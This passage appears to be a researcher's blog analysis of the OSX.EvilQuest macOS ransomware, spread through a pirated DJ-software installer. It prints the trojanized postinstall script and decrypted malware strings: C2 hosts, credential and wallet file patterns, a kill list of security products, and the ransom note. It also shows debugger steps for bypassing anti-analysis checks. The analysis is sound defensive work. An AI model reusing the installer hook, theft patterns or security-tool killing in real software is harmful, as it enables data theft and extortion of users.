Airo AV |
I’ve added the sample (‘OSX.EvilQuest’) to our malware collection (password: infect3d)
…please don’t infect yourself!
Early today, the noted Malware researcher Dinesh Devadoss tweeted about a new piece of macOS malware with ransomware tendencies “impersonating as Google Software Update program with zero detection.”:
#macOS #ransomware impersonating as Google Software Update program with zero detection.
— Dinesh_Devadoss (@dineshdina04) June 29, 2020
MD5:
522962021E383C44AFBD0BC788CF6DA3 6D1A07F57DA74F474B050228C6422790 98638D7CD7FE750B6EAB5B46FF102ABD@philofishal @patrickwardle @thomasareed pic.twitter.com/r5tkmfzmFT
It’s not everyday that a new piece of malware/ransomware is uncovered that targets macOS. Moreover, as my RansomWhere? tool claims to be able to generically detect such threats, I decided to take a anlayze the malware and confirm the tool does indeed detect it (with no a priori knowledge).
In this first part of this two-part blog post series, we’ll discuss the malware’s infection vector, and perform an initial triage to uncover its persistence, and anti-analysis logic. In part two, we’ll detect the capabilities of this insidious threat.
From Dinesh’s tweet, it was not apparent how the ransomware was able to infect macOS users. However, Thomas Reed of Malwarebytes (and Objective by the Sea speaker!), noted that the malware had been found in pirated versions of popular macOS software, shared on popular torrent sites.
This method of infection, though relatively unsophisticated is somewhat common, thus indicating it is (at least at some level) successful. Other examples of macOS malware spreading via infected torrents include:
“Intego researchers found OSX/Shlayer spreading via BitTorrent file sharing sites, appearing as a fake Flash Player update when a user attempts to select a link to copy a torrent magnet link.”
“Torrent sites are notorious for distributing malware and adware, sometimes through misleading advertisements, and sometimes through Trojan horse downloads that claim to be ‘cracks’ or that may contain infected copies of legitimate software” -Intego
The sample we’ll be analyzing today, is packaged in a (pirated?) version of the popular DJ software Mixed In Key. The malicious package is unsigned:
…meaning macOS will prompt the user before allowing it to be opened:
However, macOS users attempting to pirate software may likely ignore this warning, pressing onwards ensuring infection commences.
As noted, the ransomware is distributed via trojanzied installers. The sample we’ll dive into, is distributed via a disk image named Mixed In Key 8.dmg
(SHA1: 98040c4d358a6fb9fed970df283a9b25f0ab393b
).
Currently this disk image is not flagged by any of the anti-virus engines on VirusTotal, (though this is likely to change as AV engines update their signature databases):
We can mount this disk image, via the hdiutil
utility:
$ hdiutil attach ~/Downloads/Mixed\ In\ Key\ 8.dmg /dev/disk2 GUID_partition_scheme /dev/disk2s1 Apple_APFS /dev/disk3 EF57347C-0000-11AA-AA11-0030654 /dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8
The mounted disk image (’/Volumes/Mixed In Key 8/’) contains a installer package Mixed In Key 8.pkg
:
$ ls /Volumes/Mixed\ In\ Key\ 8/ Mixed In Key 8.pkg
My favorite tool for statically analyzing (and extracting files from) a package is Suspicious Package
:
Once opened in Suspicious Package
, we find the (pirated?) Mixed In Key 8
application and binary named “patch
”:
Clicking on the ‘postinstall’ tab, we find a post install script:
1#!/bin/sh
2mkdir /Library/mixednkey
3
4mv /Applications/Utils/patch /Library/mixednkey/toolroomd
5rmdir /Application/Utils
6
7chmod +x /Library/mixednkey/toolroomd
8
9/Library/mixednkey/toolroomd &
In short, after creating the /Library/mixednkey
directory, it moves a binary named patch
into this directory, sets it to be executable, and launches it.
As the installer requests root privileges during the install, this script (and thus the toolroomd
binary) will also run with root privileges:
Via dynamic analysis monitoring tools (such as a file and process monitor) we can passively observe the installation process:
# procInfo [process start] pid: 536 path: /bin/sh user: 0 args: ( "/bin/sh", "/tmp/PKInstallSandbox.NY2QC8/Scripts/com.mixedinkey.installer.mCoJoP/postinstall", "/Users/user/Downloads/Mixed In Key 8.pkg", "/Applications", "/", "/" ) ... # fs_usage -w -f filesystem mkdir /Library/mixednkey mkdir.5164 ... rename /Applications/Utils/patch mv.5167 ... fstatat64 /Library/mixednkey/toolroomd chmod.5171
Using Suspicious Package
we can extract both the Mixed In Key 8
application and the binary named “patch
.
As the Mixed In Key 8
binary is (still) validly signed by the Mixed In Key
developers, it is likely pristine and unmodified:
…as such, we turn our attention to the toolroomd
binary.
The toolroomd
binary (originally called patch
) is a 64-bit unsigned Mach-O executable:
$ file patch patch: Mach-O 64-bit executable x86_64 $ codesign -dvv patch patch: code object is not signed at all $ shasum -a1 patch efbb681a61967e6f5a811f8649ec26efe16f50ae patch
Next, we run the strings
command:
$ string - patch 2Uy5DI3hMp7o0cq|T|14vHRz0000013 0ZPKhq0rEeUJ0GhPle1joWN30000033 0rzACG3Wr||n1dHnZL17MbWe0000013 system.privilege.admin %s --reroot --silent --noroot --ignrp _generate_xkey /toidievitceffe/libtpyrc/tpyrc.c bits <= 1024 _get_process_list /toidievitceffe/libpersist/persist.c [return] [tab] [del] [esc] [right-cmd] [left-cmd] [left-shift] [caps] [left-option]
From the strings
output, we find obfuscated strings, plus some that appear related to command line arguments, file encryption, and perhaps keylogging(?).
Via the nm
utility, we can dump the names of symbols (including function names):
$ nm patch U _CGEventGetIntegerValueField U _CGEventTapCreate U _CGEventTapEnable U _NSAddressOfSymbol U _NSCreateObjectFileImageFromMemory U _NSDestroyObjectFileImage U _NSLinkModule U _NSLookupSymbolInModule U _NSUnLinkModule U _NXFindBestFatArch 0000000100002900 T __construct_plist_path 000000010000a7e0 T __dispatch 0000000100009c20 T __ei_init_crc32_tab 000000010000b490 T __ei_rootgainer_elevate 00000001000061c0 T __generate_xkey 000000010000a550 T __get_host_identifier 0000000100007c40 T __get_process_list 00000001000094d0 T __home_stub 000000010000e0c0 T __is_target 000000010000ecb0 T __make_temp_name 0000000100000000 T __mh_execute_header 0000000100004910 T __pack_trailer 000000010000a170 T __react_exec 000000010000a160 T __react_host 000000010000a470 T __react_keys 000000010000a500 T __react_ping 000000010000a300 T __react_save 0000000100009e80 T __react_scmd 000000010000a460 T __react_start 00000001000072d0 T __rotate 00000001000068a0 T __tp_decrypt 0000000100006610 T __tp_encrypt 00000001000049c0 T __unpack_trailer 0000000100002550 T _acquire_root U _connect 00000001000085a0 T _create_rescue_executable 000000010000ba50 T _ei_carver_main 0000000100001590 T _ei_forensic_sendfile 0000000100001680 T _ei_forensic_thread 0000000100005b00 T _ei_get_host_info 0000000100006050 T _ei_get_macaddr 000000010000b9b0 T _ei_loader_main 000000010000c9a0 T _ei_loader_thread 0000000100009650 T _ei_pers_thread 000000010000b880 T _ei_persistence_main 0000000100001c30 T _ei_read_spot 000000010000b580 T _ei_rootgainer_main 0000000100003670 T _ei_run_file 0000000100003790 T _ei_run_memory_hrd 0000000100009550 T _ei_run_thread 0000000100001a10 T _ei_save_spot 000000010000b710 T _ei_selfretain_main 000000010000de60 T _eib_decode 000000010000dd40 T _eib_encode 000000010000dc40 T _eib_pack_c 000000010000e010 T _eib_secure_decode 000000010000dfa0 T _eib_secure_encode 0000000100013660 D _eib_string_fa 0000000100013708 S _eib_string_key 000000010000dcb0 T _eib_unpack_i 0000000100007570 T _eip_decrypt 0000000100007310 T _eip_encrypt 0000000100007130 T _eip_key 00000001000071f0 T _eip_seeds 0000000100007aa0 T _is_debugging 0000000100007bc0 T _is_virtual_mchn 0000000100002dd0 T _lfsc_dirlist 00000001000032c0 T _lfsc_get_contents 000000010000fa50 T _lfsc_match 00000001000033e0 T _lfsc_pack_binary 000000010000f720 T _lfsc_parse_template 0000000100003500 T _lfsc_unpack_binary 0000000100008810 T _persist_executable 0000000100008df0 T _persist_executable_frombundle U _popen 0000000100007c20 T _prevent_trace
Ohh, the plot thickens! From this nm
output, we seen methods and function names related to:
keylogging?
_CGEventTapCreate
, _CGEventTapEnable
, etc.
in-memory code execution?
_NSCreateObjectFileImageFromMemory
, _NSLinkModule
, etc.
anti-analysis?
_is_debugging
, _is_virtual_mchn
survey?
__get_host_identifier
, __get_process_list
, etc.
persistence
_persist_executable
, _persist_executable_frombundle
encryption (ransom)
_eip_encrypt
…seems more than “just” a simple piece of ransomware!
Time to disassemble/debug the patch
binary
The core logic of the patch
(or toolroomd
) binary occurs within it’s main function.
First, it parses any commandline parameters looking for --silent
, --noroot
, and --ignrp
.
--silent
If --silent
is passed in via the command line, it sets a value to zero. This appears to instruct the malware to run “silently”, for example suppressing the printing out error messages.
1__text:000000010000C375 cmp [rbp+silent], 1
2__text:000000010000C379 jnz skipErrMsg
3...
4__text:000000010000C389 lea rdi, "This application has to be run by root"
5__text:000000010000C396 call _printf
ei_rootgainer_main
function, which influences how the malware (running as a normal user) may request root privileges:
1__text:000000010000C2EB lea rdx, [rbp+silent]
2__text:000000010000C2EF lea rcx, [rbp+var_34]
3__text:000000010000C2F3 call _ei_rootgainer_main
--silent
is specified, though appears to never be set to 1. Thus the malware will alway run in “silent” mode, even if --silent
is not specified. 🤷🏽♂️
--noroot
If --noroot
is passed in via the command line, it sets a value to one. Various code within the malware then checks this flag, and if set (to 1) takes different action …for example skipping the request for root privileges:
1__text:000000010000C2D6 cmp [rbp+noRoot], 0
2__text:000000010000C2DA jnz noRequestForRoot
3...
4__text:000000010000C2F3 call _ei_rootgainer_main
1__text:000000010000C094 mov ecx, [rbp+noRoot]
2__text:000000010000C097 mov r8d, [rbp+var_24]
3__text:000000010000C09B call _ei_persistence_main
--ignrp
If --ignrp
is passed in via the command line, it sets a value to one, and instructs the malware not to persist (“ignore persistence”).
For example in the ei_selfretain_main
function (that persists the malware), this flag is checked. If it’s not set, the function simply returns without persisting the malware:
1__text:000000010000B786 cmp [rbp+ignorePersistence], 0
2__text:000000010000B78A jz leave
Once the malware has parse its command line options, it executes a function named is_virtual_mchn
, and exits if it returns true:
1if(is_virtual_mchn(0x2) != 0x0) {
2 exit();
3}
Let’s take a closer look at this function, as we want to make sure it doesn’t detect our debugging session in a virtual machine:
1int _is_virtual_mchn(int arg0) {
2 var_10 = time();
3 sleep(argO);
4 rax = time();
5 rdx = 0x0;
6 if (rax - var_10 < arg0) {
7 rdx = 0x1;
8 }
9 rax = rdx;
10 return rax;
11}
This code invokes time
twice, with a sleep
in between …then compares if the differences between the two calls to time
match the amount of time that was system slept for. Why? To detect sandboxes that patch (speedup) calls to sleep
:
“Sleep Patching Sandboxes will patch the sleep function to try to outmaneuver malware that uses time delays. In response, malware will check to see if time was accelerated. Malware will get the timestamp, go to sleep and then again get the timestamp when it wakes up. The time difference between the timestamps should be the same duration as the amount of time the malware was programmed to sleep. If not, then the malware knows it is running in an environment that is patching the sleep function, which would only happen in a sandbox.” -www.isaca.org
This means, that in reality the function is more of sandbox check, and may not detect a virtual machine. That’s good news for our debugging efforts!
Continuing on, the malware invokes a method named extract_ei
, which attempts to read 0x20 bytes of “trailer” data from within (the end?) of itself. However, as a function named unpack_trailer
(invoked by extract_ei
) returns 0 (false
) as a check for 0DEADFACEh
fails, it appears that this sample does not contain the required “trailer” data:
1;rcx: trailer data
2__text:0000000100004A39 cmp dword ptr [rcx+8], 0DEADFACEh
3__text:0000000100004A40 mov [rbp+var_38], rax
4__text:0000000100004A44 jz leave
With no trailer data found, the sample skips certain persistence logic …logic that appears to persist a daemon:
1;rcx: trailer data
2if (extract_ei(*var_10, &var_40) != 0x0) {
3 _persist_executable_frombundle(var_48, var_40, var_30, *var_10);
4 _install_daemon(var_30, _ei_str("0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx..."),
5 _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD..."), 0x1);
6
7 var_50 = _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
8 var_58 = _ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
9 var_60 = _ei_str("1PbP8y2Bxfxk0000013");
10 ...
11 _run_daemon_u(var_50, var_58, var_60);
12 ...
13 _run_target(*var_10);
14}
It appears that various values of interest to us (such as the name/path of the daemon) are obfuscated. However, looks like the _ei_str
function is responsible for the deobfuscation:
Looking at its decompilation, we see a one-time initialization of a variable named _eib_string_key
and then a call into a function named _eib_secure_decode
(which calls a method named _tpdcrypt
):
1int _ei_str(int arg0) {
2 var_10 = arg0;
3 if (*_eib_string_key == 0x0) {
4 *_eib_string_key = _eip_decrypt(_eib_string_fa, 0x6b8b4567);
5 }
6 var_18 = 0x0;
7 rax = strlen();
8 rax = _eib_secure_decode(var_10, rax, *_eib_string_key, &var_18);
9 var_20 = rax;
10 if (var_20 == 0x0) {
11 var_8 = var_10;
12 }
13 else {
14 var_8 = var_20;
15 }
16 rax = var_8;
17 return rax;
18}
Generally, we don’t have to concern ourselves with the details of the deobfuscation (or decryption) algorithm, as we can simply set a debugger breakpoint at the end of the function, and print out the (now) plaintext string (which is held in the RAX
register).
But let’s at least dump the decryption key (_eib_string_key
):
(lldb) x/s $rdx 0x1001004c0: "PPK76!dfa82^g"
However, the “downside” to this approach is that we’ll only decrypt strings when the malware invokes the ei_str
function (and our debugger breakpoint is hit). Thus, if an encrypted string is (only) referenced in blocks of code that aren’t executed, we won’t ever see it’s decrypted value. Of course we want to decrypt all the strings!
We know the malware can (obviously) decrypt all its strings (via the ei_str
function), we just need a way to “convince” to do so! Turns out this isn’t too hard. We simply create an injectable dynamic library that resolves the address of the malware’s ei_str
function, then invokes it for any/all encrypted strings! As we place all the logic in the constructor of the dynamic library, it is automatically executed when the library is loaded, before the malware’s code is even run!
Here’s the (well-commented) code from the injectable dynamic library:
1__attribute__((constructor)) static void decrypt()
2{
3 //define & resolve the malware's `ei_str` function
4 typedef char* (*ei_str)(char* str);
5 ei_str ei_strFP = dlsym(RTLD_MAIN_ONLY, "ei_str");
6
7
8 //init pointers
9 // the `__cstring` segment starts `0xF98D` after `ei_str` and is `0x29E9` long
10 char* start = (char*)ei_strFP + 0xF98D;
11 char* end = start + 0x29E9;
12 char* current = start;
13
14 //decrypt all stings!
15 while(current < end)
16 {
17 //decrypt
18 char* string = ei_strFP(current);
19 printf("decrypted string (%#lx): %s\n", (unsigned long)current, string);
20
21 //next
22 current += strlen(current);
23 }
24}
In short, it simply scan over the entire __cstring
segment (which contains all the encrypted strings), invoking the ei_str
method on each encrypted string.
We compile and forcefully load this into the malware via the DYLD_INSERT_LIBRARIES
environment variable. Once loaded our decryption logic is invokes and the coerces the malware to decrypt all it’s strings:
DYLD_INSERT_LIBRARIES=/tmp/libEvilQuestDecryptor.dylib /Library/mixednkey/toolroomd decrypted string (0x10eb675ec): andrewka6.pythonanywhere.com decrypted string (0x10eb67624): ret.txt decrypted string (0x10eb6764a): osascript -e "beep 18 say \"%s\" waiting until completion false set alTitle to \"%s\" set alText to \"%s\" display alert alText message alTitle as critical buttons {\"OK\"} set the clipboard to \"%s\"" decrypted string (0x10eb6778c): READ_ME_NOW.txt decrypted string (0x10eb677b8): %s/Desktop/%s decrypted string (0x10eb677d8): %s/Documents/%s decrypted string (0x10eb67804): %s/Pictures/%s decrypted string (0x10eb67824): %s/Movies/%s decrypted string (0x10eb67844): %s/Hellper.app decrypted string (0x10eb67864): osascript -e "do shell script \"sudo %s\" with administrator privileges" decrypted string (0x10eb678e4): system.privilege.admin decrypted string (0x10eb678fb): %s --reroot decrypted string (0x10eb67907): launchctl submit -l 'questd' -p '%s' decrypted string (0x10eb6794c): --silent decrypted string (0x10eb67960): osascript -e "do shell script \"launchctl load -w %s;launchctl start %s\" with administrator privileges" decrypted string (0x10eb67a10): osascript -e "do shell script \"launchctl load -w %s;launchctl start %s\"" decrypted string (0x10eb67a95): *id_rsa*/i decrypted string (0x10eb67ab5): *.pem/i decrypted string (0x10eb67ad5): *.ppk/i decrypted string (0x10eb67af5): known_hosts/i decrypted string (0x10eb67b15): *.ca-bundle/i decrypted string (0x10eb67b35): *.crt/i decrypted string (0x10eb67b55): *.p7!/i decrypted string (0x10eb67b75): *.!er/i decrypted string (0x10eb67b95): *.pfx/i decrypted string (0x10eb67bb5): *.p12/i decrypted string (0x10eb67bd5): *key*.pdf/i decrypted string (0x10eb67bf5): *wallet*.pdf/i decrypted string (0x10eb67c15): *key*.png/i decrypted string (0x10eb67c35): *wallet*.png/i decrypted string (0x10eb67c55): *key*.jpg/i decrypted string (0x10eb67c75): *wallet*.jpg/i decrypted string (0x10eb67c95): *key*.jpeg/i decrypted string (0x10eb67cb5): *wallet*.jpeg/i decrypted string (0x10eb67ce6): HelloCruelWorld decrypted string (0x10eb67d12): [Memory Based Bundle] decrypted string (0x10eb67d6b): ei_run_memory_hrd decrypted string (0x10eb681ad): <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>%s</string> <key>ProgramArguments</key> <array> <string>sudo</string> <string>%s</string> <string>--silent</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> </dict> </plist> decrypted string (0x10eb68419): wb+ decrypted string (0x10eb6841d): %s/Library/ decrypted string (0x10eb6843f): /Library/AppQuest/com.apple.questd decrypted string (0x10eb68483): /Library/AppQuest decrypted string (0x10eb684af): %s/Library/AppQuest decrypted string (0x10eb684db): %s/Library/AppQuest/com.apple.questd decrypted string (0x10eb6851f): <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>%s</string> <key>ProgramArguments</key> <array> <string>%s</string> <string>--silent</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> </dict> </plist> decrypted string (0x10eb68767): questd decrypted string (0x10eb6877b): com.apple.questd.plist decrypted string (0x10eb687a7): /Library/LaunchDaemons/ decrypted string (0x10eb687df): %s/Library/LaunchAgents/ decrypted string (0x10eb68817): NCUCKOO7614S decrypted string (0x10eb68837): 167.71.237.219 decrypted string (0x10eb68857): q?s=%s&h=%s decrypted string (0x10eb68863): .xookc decrypted string (0x10eb68877): osascript -e "do shell script \"sudo open %s\" with administrator privileges" decrypted string (0x10eb688f7): Hi there decrypted string (0x10eb6891b): .shcsh decrypted string (0x10eb6893f): Little Snitch decrypted string (0x10eb6895f): Kaspersky decrypted string (0x10eb6897f): Norton decrypted string (0x10eb68993): Avast decrypted string (0x10eb689a7): DrWeb decrypted string (0x10eb689bb): Mcaffee decrypted string (0x10eb689db): Bitdefender decrypted string (0x10eb689fb): Bullguard decrypted string (0x10eb68a1b): com.apple.questd decrypted string (0x10eb68a47): ookcucythguan decrypted string (0x10eb68a67): Installer.app decrypted string (0x10eb68a87): Setup decrypted string (0x10eb68a9b): %s --ignrp decrypted string (0x10eb68aa6): /Users decrypted string (0x10eb68aba): --noroot decrypted string (0x10eb68ac3): --ignrp decrypted string (0x10eb68acb): %s/.ncspot decrypted string (0x10eb68aeb): H2QGjSmA decrypted string (0x10eb68b54): YOUR IMPORTANT FILES ARE ENCRYPTED Many of your documents, photos, videos, images and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your file without our decryption service. We use 256-bit AES algorithm so it will take you more than a billion years to break this encryption without knowing the key (you can read Wikipedia about AES if you don't believe this statement). Anyways, we guarantee that you can recover your files safely and easily. This will require us to use some processing power, electricity and storage on our side, so there's a fixed processing fee of 50 USD. This is a one-time payment, no additional fees included. In order to accept this offer, you have to deposit payment within 72 hours (3 days) after receiving this message, otherwise this offer will expire and you will lose your files forever. Payment has to be deposited in Bitcoin based on Bitcoin/USD exchange rate at the moment of payment. The address you have to make payment is: %s Decryption will start automatically within 2 hours after the payment has been processed and will take from 2 to 5 hours depending on the processing power of your computer. After that all of your files will be restored. THIS OFFER IS VALID FOR 72 HOURS AFTER RECEIVING THIS MESSAGE decrypted string (0x10eb6939c): 13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7 decrypted string (0x10eb693bf): Your files are encrypted decrypted string (0x10eb693f7): Many of your important documents, photos, videos, images and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. We guarantee however that you can recover your files safely and easily and this will cost you 50 USD without any additional fees. Our offer is valid FOR 3 DAYS (starting now!). Full details can be found in the file: READ_ME_NOW.txt located on your Desktop decrypted string (0x10eb6997e): READ_ME_NOW decrypted string (0x10eb6999e): .tar decrypted string (0x10eb699b2): .rar decrypted string (0x10eb699c6): .tgz decrypted string (0x10eb699da): .zip decrypted string (0x10eb699ee): .7z decrypted string (0x10eb69a02): .dmg decrypted string (0x10eb69a16): .gz decrypted string (0x10eb69a2a): .jpg decrypted string (0x10eb69a3e): .jpeg decrypted string (0x10eb69a52): .png decrypted string (0x10eb69a66): .gif decrypted string (0x10eb69a7a): .psd decrypted string (0x10eb69a8e): .eps decrypted string (0x10eb69aa2): .mp4 decrypted string (0x10eb69ab6): .mp3 decrypted string (0x10eb69aca): .mov decrypted string (0x10eb69ade): .avi decrypted string (0x10eb69af2): .mkv decrypted string (0x10eb69b06): .wav decrypted string (0x10eb69b1a): .aif decrypted string (0x10eb69b2e): .aiff decrypted string (0x10eb69b42): .ogg decrypted string (0x10eb69b56): .flac decrypted string (0x10eb69b6a): .doc decrypted string (0x10eb69b7e): .txt decrypted string (0x10eb69b92): .docx decrypted string (0x10eb69ba6): .xls decrypted string (0x10eb69bba): .xlsx decrypted string (0x10eb69bce): .pages decrypted string (0x10eb69be2): .pdf decrypted string (0x10eb69bf6): .rtf decrypted string (0x10eb69c0a): .m4a decrypted string (0x10eb69c1e): .csv decrypted string (0x10eb69c32): .djvu decrypted string (0x10eb69c46): .epub decrypted string (0x10eb69c5a): .pub decrypted string (0x10eb69c6e): .key decrypted string (0x10eb69c82): .dwg decrypted string (0x10eb69c96): .c decrypted string (0x10eb69caa): .cpp decrypted string (0x10eb69cbe): .h decrypted string (0x10eb69cd2): .m decrypted string (0x10eb69ce6): .php decrypted string (0x10eb69cfa): .cgi decrypted string (0x10eb69d0e): .css decrypted string (0x10eb69d22): .scss decrypted string (0x10eb69d36): .sass decrypted string (0x10eb69d4a): .otf decrypted string (0x10eb69d5e): .ttf decrypted string (0x10eb69d72): .asc decrypted string (0x10eb69d86): .cs decrypted string (0x10eb69d9a): .vb decrypted string (0x10eb69dae): .asp decrypted string (0x10eb69dc2): .ppk decrypted string (0x10eb69dd6): .crt decrypted string (0x10eb69dea): .p7 decrypted string (0x10eb69dfe): .pfx decrypted string (0x10eb69e12): .p12 decrypted string (0x10eb69e26): .dat decrypted string (0x10eb69e3a): .hpp decrypted string (0x10eb69e4e): .ovpn decrypted string (0x10eb69e62): .download decrypted string (0x10eb69e82): .pem decrypted string (0x10eb69e96): .numbers decrypted string (0x10eb69eb6): .keynote decrypted string (0x10eb69ed6): .ppt decrypted string (0x10eb69eea): .aspx decrypted string (0x10eb69efe): .html decrypted string (0x10eb69f12): .xml decrypted string (0x10eb69f26): .json decrypted string (0x10eb69f3a): .js decrypted string (0x10eb69f4e): .sqlite decrypted string (0x10eb69f6e): .pptx decrypted string (0x10eb69f82): .pkg
In the decrypted output we find many revealing strings that appear to be:
andrewka6.pythonanywhere.com
, 167.71.237.219
.*id_rsa*/i
, *key*.pdf/i
, *wallet*.pdf
, etc…Little Snitch
, Kaspersky
, etc…Scott Knight (@sdotknight) has a created a lovely python script capable of decrypting strings (and other components) of OSX.EvilQuest.
Continuing on in our analysis, as this specimen does not appear to contain any ’trailer’ data, the code block (mentioned above) is skipped …however, the malware then invokes a function named ei_persistence_main
which (also) persists the malware.
However, before persistence, the ei_persistence_main
function invokes various anti-debugging logic, in an attempt to thwart dynamic debugging! Specifically it first calls a function named is_debugging
. The is_debugging
method is implemented at address 0x0000000100007AA0
. To check if it is being debugged, it invokes sysctl
with CTL_KERN
, KERN_PROC
, KERN_PROC_PID, and getpid()
. Once this has returned, it checks if the P_TRACED
is set (in the info.kp_pro
structure returned by sysctl
). This is a common anti-debugger check, seen in other macOS malware:
If the is_debugging
function returns 1 (true
) the malware will exit:
1__text:000000010000B89A call _is_debugging
2__text:000000010000B89F cmp eax, 0
3__text:000000010000B8A2 jz continue
4__text:000000010000B8A8 mov edi, 1
5__text:000000010000B8AD call _exit
To subvert this in a debugger we simply set a breakpoint at 0x000000010000B89F
, then change the value of the RAX
register to 0 (false
):
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 -> 0x10000b89f: cmpl $0x0, %eax 0x10000b8a2: je 0x10000b8b2 0x10000b8a8: movl $0x1, %edi 0x10000b8ad: callq 0x10000feb2 Target 0: (patch) stopped. (lldb) reg read $rax rax = 0x0000000000000001 (lldb) reg write $rax 0 (lldb) c
All good? Almost! The malware contains more anti-debugging logic. A function called prevent_trace
seeks to prevent tracing (debugging) via call to ptrace
with the PTRACE_DENY_ATTACH
flag (0x1F
):
1__text:0000000100007C20 _prevent_trace proc near
2__text:0000000100007C20 push rbp
3__text:0000000100007C21 mov rbp, rsp
4__text:0000000100007C24 call _getpid
5__text:0000000100007C29 xor ecx, ecx
6__text:0000000100007C2B mov edx, ecx ; addr
7__text:0000000100007C2D xor ecx, ecx ; data
8__text:0000000100007C2F mov edi, 1Fh ; request
9__text:0000000100007C34 mov esi, eax ; pid
10__text:0000000100007C36 call _ptrace
11__text:0000000100007C3B pop rbp
12__text:0000000100007C3C retn
13__text:0000000100007C3C _prevent_trace endp
To bypass this, we simply avoid the call to _prevent_trace
all together. However? Simply set a breakpoint on the call to this function, then modify the value of the instruction pointer (RIP
) to skip it!
(lldb) b 0x000000010000B8B2 Breakpoint 12: where = patch`patch[0x000000010000b8b2], address = 0x000000010000b8b2 (lldb) c Process 683 resuming Process 683 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 -> 0x10000b8b2: callq 0x100007c20 0x10000b8b7: leaq 0x7de2(%rip), %rdi 0x10000b8be: movl $0x8, %esi 0x10000b8c3: movl %eax, -0x38(%rbp) Target 0: (patch) stopped. (lldb) reg write $rip 0x10000b8b7 (lldb) c
Easy peasy! Now we can continue our dynamic analysis unperturbed.
As its name suggests, the ei_persistence_main
function persists the malware (as a launch agent). However, before persisting it invokes a function named kill_unwanted
to kill several well known security products that may detect or block malicious behaviors.
The kill_unwanted
function gets a list of running processes, compares each process with a encrypted list of “unwanted” programs. With our aforementioned breakpoint on the ei_str
function, we can dump the decrypted strings, to ascertain the value of the “unwanted” programs:
(lldb) x/s $rax 0x100108fd0: "Little Snitch" (lldb) x/s $rax 0x100100880: "Kaspersky" (lldb) x/s $rax 0x1001028a0: "Norton" (lldb) x/s $rax 0x10010a2f0: "Avast" (lldb) x/s $rax 0x10010a300: "DrWeb" (lldb) x/s $rax 0x100102eb0: "Mcaffee" (lldb) x/s $rax 0x100109d20: "Bitdefender" (lldb) x/s $rax 0x100109d30: "Bullguard"
…one day, Objective-See’s tools will make such a list! HA!
Finally the ei_persistence_main
function persists the malware. Specifically it first calls the persist_executable
function creates a persistent copy of itself. We can observe this via a file monitor, and/or in the debugger.
First, we observe the malware decrypting various strings related to persistence:
(lldb) x/s $rax 0x100118fd0: "/Library/AppQuest/com.apple.questd" (lldb) x/s $rax 0x1001190f0: "%s/Library/AppQuest/com.apple.questd"
If the malware is running with non-root privileges it will write the copy of itself to ~/Library/AppQuest/com.apple.questd
. However, if running as root, it will also copy itself to /Library/AppQuest/com.apple.questd
. This can be observed via a file monitor (such as macOS’s fs_usage
utility). Here, we see a non-root instance of the malware creating ~/Library/AppQuest/com.apple.questd
and ensuring it is executable (via chmod
):
# fs_usage -w -f filesystem open F=4 /Library/AppQuest/com.apple.questd toolroomd.67949 write F=4 B=0x1000 toolroomd.67949 ... close F=4 toolroomd.67949 chmod/Library/AppQuest/com.apple.questd toolroomd.67949 open F=4 ~/Library/AppQuest/com.apple.questd write F=4 B=0x1000 toolroomd.67949 ... close F=4 toolroomd.67949 chmod ~/Library/AppQuest/com.apple.questd toolroomd.67949 $ md5 /Library/AppQuest/com.apple.questd MD5 (/Library/AppQuest/com.apple.questd) = 322f4fb8f257a2e651b128c41df92b1d $ md5 ~/Library/AppQuest/com.apple.questd MD5 (/Users/user/Library/AppQuest/com.apple.questd) = 322f4fb8f257a2e651b128c41df92b1d
Once the malware has copied itself, it persists via a launch item. The code that performs this persistence is found in the install_daemon
function (address 0x0000000100009130
), that is invoked via the ei_persistence_main
function.
If running as non-root, it persists as a launch agent: ~/Library/LaunchAgents/com.apple.questd.plist
. Below we dump that arguments passed to the install_daemon
…first, when the malware is installing itself as a launch agent:
`
$ lldb /Library/mixednkey/toolroomd ... * thread #1, stop reason = breakpoint 1.1 frame #0: 0x0000000100009130 toolroomd -> 0x100009130: pushq %rbp 0x100009131: movq %rsp, %rbp 0x100009134: subq $0x150, %rsp 0x10000913b: movq %rdi, -0x10(%rbp) Target 0: (toolroomd) stopped. (lldb) x/s $rdi 0x7ffeefbffc94: "/Users/user" (lldb) x/s $rsi 0x100114a20: "%s/Library/AppQuest/com.apple.questd" (lldb) x/s $rdx 0x100114740: "%s/Library/LaunchAgents/"
It uses the arguments to build a path for a launch item (here, launch agent) property list (/Users/user/Library/LaunchAgents/com.apple.questd.plist
), as well then configuring said plist.
Continuing the debugging session, we observes the malware decrypted an embedded (template) plist, that is then populated with the path to the persistent binary (e.g. /Users/user/Library/AppQuest/com.apple.questd
).
x/s $rax 0x100119540: "<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n<dict>\n<key>Label</key>\n<string>%s</string>\n\n<key>ProgramArguments</key>\n<array>\n<string>%s</string>\n<string>--silent</string>\n</array>\n\n<key>RunAtLoad</key>\n<true/>\n\n<key>KeepAlive</key>\n<true/>\n\n</dict>\n</plist>"
Once the launch agent property list is fully configured in memory the malware writes it out to disk:
